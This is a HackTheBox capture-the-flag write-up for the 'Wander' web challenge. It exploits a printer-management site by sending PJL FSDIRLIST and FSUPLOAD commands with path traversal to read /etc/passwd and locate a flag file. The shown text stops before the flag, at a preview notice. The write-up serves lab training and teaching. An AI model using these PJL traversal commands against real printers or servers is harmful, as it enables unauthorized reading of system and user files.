webfreemedium

Wander

hackthebox

Task: Exploit a web-based printer management interface to read the flag from the server filesystem. Solution: Use PJL (Printer Job Language) FSUPLOAD command with path traversal (0:/../../../) to escape the virtual filesystem and read /home/default/readyjob containing the flag.

$ ls tags/ techniques/
path_traversalpjl_exploitationfilesystem_enumeration

$ cat /etc/rate-limit

Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.

Wander - HackTheBox

Description

My uncle isn't allowing me to print documents. He's off to vacation and I need a PIN to unlock this printer. All I found is a web server where this printer is managed from.

Target: http://94.237.120.74:48334

Analysis

Reconnaissance

  1. Web server running Werkzeug/2.0.1 Python/3.7.11 (Flask)
  2. Main dashboard at / shows "Wander Dashboard" with "HTB Printer"
  3. Found /jobs page with a form to send PJL (Printer Job Language) commands
  4. Form placeholder shows @PJL INFO ID

Vulnerability Discovery

The web application accepts PJL commands and forwards them to a printer emulator. This is a classic printer exploitation scenario where PJL filesystem commands can be abused.

Key PJL commands that worked:

  • @PJL INFO ID - Returns "HTB Printer"
  • @PJL INFO STATUS - Returns printer status (CODE=10001, DISPLAY="Ready", ONLINE=True)
  • @PJL FSDIRLIST NAME="0:/" ENTRY=1 - Lists printer filesystem directories

Path Traversal in FSUPLOAD

The @PJL FSUPLOAD command is vulnerable to path traversal. The printer uses a virtual filesystem starting at 0:/, but we can escape it using ../:

@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=5000

This allowed reading arbitrary files from the server filesystem.

Solution

Step 1: Enumerate Printer Filesystem

First, list the printer's virtual filesystem:

@PJL FSDIRLIST NAME="0:/" ENTRY=1

Step 2: Confirm Path Traversal

Test path traversal by reading /etc/passwd:

@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=5000

Step 3: Enumerate Root Filesystem

Use FSDIRLIST with path traversal to enumerate directories:

@PJL FSDIRLIST NAME="0:/../../../" ENTRY=1

Found directories: etc, conf, home, rw, tmp, csr_misc, printer

Step 4: Explore Home Directory

@PJL FSDIRLIST NAME="0:/../../../home/" ENTRY=1
@PJL FSDIRLIST NAME="0:/../../../home/default/" ENTRY=1

Found a file called readyjob in /home/default/.

Step 5: Read the Flag

@PJL FSUPLOAD NAME="0:/../../../home/default/readyjob" OFFSET=0 SIZE=1000

...

$ grep --similar

Similar writeups